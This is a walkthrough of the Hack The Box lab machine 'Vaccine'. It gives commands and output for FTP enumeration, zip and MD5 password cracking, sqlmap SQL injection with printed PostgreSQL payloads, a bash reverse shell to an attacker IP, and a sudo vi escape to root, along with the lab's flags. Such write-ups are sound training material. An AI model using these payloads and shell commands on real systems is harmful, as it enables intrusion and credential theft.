03.VACCINE
root@oco:~$ sudo openvpn ~/Downloads/starting_point.ovpnENUMERATE SERVICES
root@htb:~$ sudo nmap -sV -sC -T4 {targetIP} -p-
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.215
| Logged in as ftpuser
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA)
| 256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA)
|_ 256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: MegaCorp Login
|_http-server-header: Apache/2.4.41 (Ubuntu)
* Typically '-sV' is used with Nmap to determine versions, but that's not always enough.
- adding the -sC is another good way to determine service versions
- the -sC option will run safe scripts which are designed to provide useful
information without being too intrusive or causing harm to the target systems.
* the -SC runs the default set of Nmap scripts (NSE scripts), which typically include
scripts for service enumeration, version detection, and other basic checks.
* use the -Pn option of Nmap when ICMP packets are blocked by the Windows firewall
- the -PN option treats all hosts as online and will skip host discoveryVULNERABILITY SCANNING
root@htb:~$ sudo nmap --script=vuln {targetIP} -p 21,22,80
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.129.95.174
| Found the following possible CSRF vulnerabilities:
|
| Path: http://10.129.95.174:80/
| Form id: login__username
|_ Form action:
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
* the --script=vuln will run scripts that focus specifically on detecting known
vulnerabilities in the service running on port 6379
- e.g., weak configurations, or known vulnerabilities in the redis service
- if no results are found then the service may be fully patched!FOOTHOLD
Submit user flag and root flag.
root@htb:~$ ftp 10.129.95.174
Connected to 10.129.95.174.
220 (vsFTPd 3.0.3)
Name (10.129.95.174:root): anonymous
331 Please specify the password.
Password: {arbitraryValue}
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||10189|)
150 Here comes the directory listing.
-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
226 Directory send OK.
ftp> get backup.zip
local: backup.zip remote: backup.zip
229 Entering Extended Passive Mode (|||10248|)
150 Opening BINARY mode data connection for backup.zip (2533 bytes).
100% |*************************************************************************************************************************************************| 2533 1.32 MiB/s 00:00 ETA
226 Transfer complete.
2533 bytes received in 00:00 (215.19 KiB/s)
ftp> exit
221 Goodbye.root@htb:~$ ls
backup.zip
root@htb:~$ unzip backup.zip
Archive: backup.zip
[backup.zip] index.php password:
skipping: index.php incorrect password
skipping: style.css incorrect password
#conduct password cracking via John the Ripper
#convert the password protected file to john's format
root@htb:~$ find / -iname *2john* 2>/dev/null
/usr/sbin/zip2john
* display various tools John can use to convert password-protected file into a format that john can attack
* naming style “{format}2john”
root@htb:~$ zip2john backup.zip > zip.hash
Created directory: /home/str1f3/.john
ver 2.0 efh 5455 efh 7875 backup.zip/index.php PKZIP Encr: TS_chk, cmplen=1201, decmplen=2594, crc=3A41AE06 ts=5722 cs=5722 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/style.css PKZIP Encr: TS_chk, cmplen=986, decmplen=3274, crc=1B1CCD6A ts=989A cs=989a type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
* this cmd creates a hash challenge of a password protected file
root@htb:~$ ls
zip.hash
root@htb:~$ cat zip.hash
backup.zip:$pkzip$2*1*1*0*8*24*5722*543fb39ed1a919ce7b58641a238e00f4cb3a826cfb1b8f4b225aa15c4ffda8fe72f60a82*2*0*3da*cca*1b1ccd6a*504*43*8*3da*989a*22290dc3505e51d341f31925a7ffefc181ef9f66d8d25e53c82afc7c1598fbc3fff28a17ba9d8cec9a52d66a11ac103f257e14885793fe01e26238915796640e8936073177d3e6e28915f5abf20fb2fb2354cf3b7744be3e7a0a9a798bd40b63dc00c2ceaef81beb5d3c2b94e588c58725a07fe4ef86c990872b652b3dae89b2fff1f127142c95a5c3452b997e3312db40aee19b120b85b90f8a8828a13dd114f3401142d4bb6b4e369e308cc81c26912c3d673dc23a15920764f108ed151ebc3648932f1e8befd9554b9c904f6e6f19cbded8e1cac4e48a5be2b250ddfe42f7261444fbed8f86d207578c61c45fb2f48d7984ef7dcf88ed3885aaa12b943be3682b7df461842e3566700298efad66607052bd59c0e861a7672356729e81dc326ef431c4f3a3cdaf784c15fa7eea73adf02d9272e5c35a5d934b859133082a9f0e74d31243e81b72b45ef3074c0b2a676f409ad5aad7efb32971e68adbbb4d34ed681ad638947f35f43bb33217f71cbb0ec9f876ea75c299800bd36ec81017a4938c86fc7dbe2d412ccf032a3dc98f53e22e066defeb32f00a6f91ce9119da438a327d0e6b990eec23ea820fa24d3ed2dc2a7a56e4b21f8599cc75d00a42f02c653f9168249747832500bfd5828eae19a68b84da170d2a55abeb8430d0d77e6469b89da8e0d49bb24dbfc88f27258be9cf0f7fd531a0e980b6defe1f725e55538128fe52d296b3119b7e4149da3716abac1acd841afcbf79474911196d8596f79862dea26f555c772bbd1d0601814cb0e5939ce6e4452182d23167a287c5a18464581baab1d5f7d5d58d8087b7d0ca8647481e2d4cb6bc2e63aa9bc8c5d4dfc51f9cd2a1ee12a6a44a6e64ac208365180c1fa02bf4f627d5ca5c817cc101ce689afe130e1e6682123635a6e524e2833335f3a44704de5300b8d196df50660bb4dbb7b5cb082ce78d79b4b38e8e738e26798d10502281bfed1a9bb6426bfc47ef62841079d41dbe4fd356f53afc211b04af58fe3978f0cf4b96a7a6fc7ded6e2fba800227b186ee598dbf0c14cbfa557056ca836d69e28262a060a201d005b3f2ce736caed814591e4ccde4e2ab6bdbd647b08e543b4b2a5b23bc17488464b2d0359602a45cc26e30cf166720c43d6b5a1fddcfd380a9c7240ea888638e12a4533cfee2c7040a2f293a888d6dcc0d77bf0a2270f765e5ad8bfcbb7e68762359e335dfd2a9563f1d1d9327eb39e68690a8740fc9748483ba64f1d923edfc2754fc020bbfae77d06e8c94fba2a02612c0787b60f0ee78d21a6305fb97ad04bb562db282c223667af8ad907466b88e7052072d6968acb7258fb8846da057b1448a2a9699ac0e5592e369fd6e87d677a1fe91c0d0155fd237bfd2dc49*$/pkzip$::backup.zip:style.css, index.php:backup.zip
root@htb:~$ find / -iname *rockyou* -type f 2>/dev/null
/usr/share/wordlists/rockyou.txt.gz
root@htb:~$ john -wordlist=/usr/share/wordlists/rockyou.txt zip.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
741852963 (backup.zip)
1g 0:00:00:00 DONE (2025-03-22 22:24) 33.33g/s 273066p/s 273066c/s 273066C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
root@htb:~$ john --show zip.hash
backup.zip:741852963::backup.zip:style.css, index.php:backup.zip
1 password hash cracked, 0 left
root@htb:~$ unzip backup.zip -d backup
PW: 741852963
Archive: backup.zip
[backup.zip] index.php password: 741852963
inflating: index.php
inflating: style.css
root@htb:~$ ls -la backup
total 16
drwxr-xr-x 2 str1f3 str1f3 4096 Mar 22 22:32 .
drwx------ 26 str1f3 str1f3 4096 Mar 22 22:30 ..
-rw-r--r-- 1 str1f3 str1f3 2594 Feb 3 2020 index.php
-rw-r--r-- 1 str1f3 str1f3 3274 Feb 3 2020 style.css
root@htb:~$ cat backup/index.php
<!DOCTYPE html>
<?php
session_start();
if(isset($_POST['username']) && isset($_POST['password'])) {
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
}
}
?>root@htb:~$ hashid 2cb42f8734ea607eefed3b70af13bbd3
...
[+] MD5
root@htb:~$ echo -n '2cb42f8734ea607eefed3b70af13bbd3' > hash
...
* the -n prevents echo from adding newlines
root@htb:~$ hashcat -a 0 -m 0 hash rockyou.txt
Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 0 secs
2cb42f8734ea607eefed3b70af13bbd3:qwerty789
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 2cb42f8734ea607eefed3b70af13bbd3
Time.Started.....: Sat Mar 22 22:50:19 2025 (0 secs)
Time.Estimated...: Sat Mar 22 22:50:19 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........: 4422.0 kH/s (0.16ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 100352/14344385 (0.70%)
Rejected.........: 0/100352 (0.00%)
Restore.Point....: 98304/14344385 (0.69%)
Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#2....: Dominic1 -> paashaas
Started: Sat Mar 22 22:50:14 2025
Stopped: Sat Mar 22 22:50:20 2025
* the -a 0 represents "Attack Mode: Straight". it tells Hashcat to use the
dictionary attack mode — wordlist applied as-is.
* the -m 0 represents "Hash Type: MD5". it specifies the hash type being cracke.
- 0 = raw MD5.
* username: admin
* password: qwerty789#enumerate target site; see where the credentials can be used
root@htb:~$ BROWSER > http://10.129.95.174/
username: admin
password: qwerty789
MegaCorp Car Catalogue
...
#
root@htb:~$ BROWSER > http://10.129.95.174/dashboard.php
search: null
MegaCorp Car Catalogue
URL: http://10.129.95.174/dashboard.php?search=null
* this "search" parameter/variable could be using a backend DB server to
when grabbing information
- if there is a backend DB server where information is stored, this target
may be vulnerable to SQLi#SQLi
root@htb:~$ which sqlmap
/usr/bin/sqlmap
root@htb:~$ sqlmap -hh
...
Usage: python3 sqlmap [options]
...
root@htb:~$ BROWSER > http://10.129.95.174/dashboard.php?search=null > F12 > Storage > Cookies >
PHPSESSID:rgqtj2q53rvk6mlva0plqu7tsu
* the cookie is required for authentication
- this implies that the logged in user has elevated privileges; admin
root@htb:~$ sqlmap -u 'http://10.129.95.174/dashboard.php?search=null' --cookie="PHPSESSID=rgqtj2q53rvk6mlva0plqu7tsu"
...
[13:50:27] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable
it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided level (1) and risk (1) values? [Y/n]
[13:50:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:50:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[13:50:32] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[13:50:32] [WARNING] reflective value(s) found and filtering out
[13:50:32] [INFO] target URL appears to have 5 columns in query
[13:50:32] [INFO] GET parameter 'search' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: search (GET)
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: search=null';SELECT PG_SLEEP(5)--
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: search=null' UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(120)||CHR(106)||CHR(113))||(CHR(87)||CHR(80)||CHR(104)||CHR(72)||CHR(107)||CHR(115)||CHR(73)||CHR(112)||CHR(109)||CHR(115)||CHR(111)||CHR(74)||CHR(108)||CHR(73)||CHR(100)||CHR(101)||CHR(74)||CHR(86)||CHR(119)||CHR(66)||CHR(82)||CHR(74)||CHR(77)||CHR(87)||CHR(113)||CHR(111)||CHR(110)||CHR(103)||CHR(66)||CHR(122)||CHR(78)||CHR(80)||CHR(102)||CHR(85)||CHR(75)||CHR(101)||CHR(85)||CHR(72)||CHR(77)||CHR(121))||(CHR(113)||CHR(113)||CHR(120)||CHR(113)||CHR(113)),NULL,NULL,NULL-- neMF
---
[13:50:34] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[13:50:34] [INFO] fetched data logged to text files under '/home/str1f3/.local/share/sqlmap/output/10.129.95.174'
[*] ending @ 13:50:34 /2025-04-17/#exploit the vulnerability w/ sqlmap's os injection flag
root@htb:~$ sqlmap -u 'http://10.129.95.174/dashboard.php?search=null' --cookie="PHPSESSID=i333q3ar3rlq5ms4sg4h6895sa" --os-shell
[13:59:00] [INFO] resuming back-end DBMS 'postgresql'
[13:59:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (GET)
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: search=null';SELECT PG_SLEEP(5)--
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: search=null' UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(120)||CHR(106)||CHR(113))||(CHR(87)||CHR(80)||CHR(104)||CHR(72)||CHR(107)||CHR(115)||CHR(73)||CHR(112)||CHR(109)||CHR(115)||CHR(111)||CHR(74)||CHR(108)||CHR(73)||CHR(100)||CHR(101)||CHR(74)||CHR(86)||CHR(119)||CHR(66)||CHR(82)||CHR(74)||CHR(77)||CHR(87)||CHR(113)||CHR(111)||CHR(110)||CHR(103)||CHR(66)||CHR(122)||CHR(78)||CHR(80)||CHR(102)||CHR(85)||CHR(75)||CHR(101)||CHR(85)||CHR(72)||CHR(77)||CHR(121))||(CHR(113)||CHR(113)||CHR(120)||CHR(113)||CHR(113)),NULL,NULL,NULL-- neMF
---
[13:59:00] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[13:59:00] [INFO] fingerprinting the back-end DBMS operating system
[13:59:00] [INFO] the back-end DBMS operating system is Linux
[13:59:00] [INFO] testing if current user is DBA
[13:59:00] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[13:59:00] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>
#stabilize the shell
root@htb:~$ sudo nc -nlvp 443
listening on [any] 443 ...
root@htb:~$ ifconfig
tun0 inet 10.10.14.215
os-shell> bash -c "bash -i >& /dev/tcp/{attackerIP}/443 0>&1"
do you want to retrieve the command standard output? [Y/n/a]
...
root@htb:~$ nc ...
connect to [10.10.14.215] from (UNKNOWN) [10.129.95.174] 38220
bash: cannot set terminal process group (3335): Inappropriate ioctl for device
bash: no job control in this shell
postgres@vaccine:/var/lib/postgresql/11/main$
#activate a fully interactive shell - upgrade limited shell to an interactive TTY
postgres@vaccine:/var/lib/postgresql/11/main$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<ain$ python3 -c 'import pty;pty.spawn("/bin/bash")'
* EXTRAS: not required
postgres@vaccine:/var/lib/postgresql/11/main$ CTRL+Z
[1]+ Stopped sudo nc -nlvp 443
root@htb:~$ stty raw -echo
root@htb:~$ fg
root@htb:~$ export TERM=xterm
postgres@vaccine:/var/lib/postgresql/11/main$ ls /var/lib/postgresql
11
user.txt
postgres@vaccine:/var/lib/postgresql/11/main$ cat /var/lib/postgresql/user.txt
ec9b13ca4d6229cd5cc1e09980965bf7
#privesc
postgres@vaccine:~$ sudo -l
sudo -l
[sudo] password for postgres: ...
postgres@vaccine:~$ ls /var/www/html
bg.png dashboard.js index.php style.css
dashboard.css dashboard.php license.txt
* if the target uses both PHP & SQL, there may be a chance that the password is in cleartext and could
be located in /var/www/html
postgres@vaccine:~$ cat /var/www/html/dashboard.php | grep password
<in$ cat /var/www/html/dashboard.php | grep password
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
postgres@vaccine:~$ sudo -l
[sudo] password for postgres: P@s5w0rd!
Matching Defaults entries for postgres on vaccine:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
mail_badpass
User postgres may run the following commands on vaccine:
(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
* ALT: used if/when the shell dies
ssh postgres@10.129.95.174
password: P@s5w0rd!
* identified... sudo privileges to edit the pg_hba.conf file using vi by running sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf .
root@htb:~$ BROWSER > https://gtfobins.github.io/gtfobins/vi/#sudo
sudo vi -c ':!/bin/sh' /dev/null
* if the binary is allowed to run as superuser by sudo, it does not drop the
elevated privileges and may be used to access the file system, escalate or
maintain privileged access.
#
postgres@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf -c ':!/bin/sh'
Sorry, user postgres is not allowed to execute '/bin/vi /etc/postgresql/11/main/pg_hba.conf -c :!/bin/sh' as root on vaccine.
* this is due to sudo being restricted to only /bin/vi /etc/postgresql/11/main/pg_hba.conf .
postgres@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
...
vi :set shell=/bin/bash
vi :shell
root@vaccine:/var/lib/postgresql# whoami
root
root@vaccine:/var/lib/postgresql# id
uid=0(root) gid=0(root) groups=0(root)
root@vaccine:/var/lib/postgresql# ls /root
pg_hba.conf root.txt snap
root@vaccine:/var/lib/postgresql# cat /root/root.txt
dd6e058e814260bc70e9bbdef2715849Last updated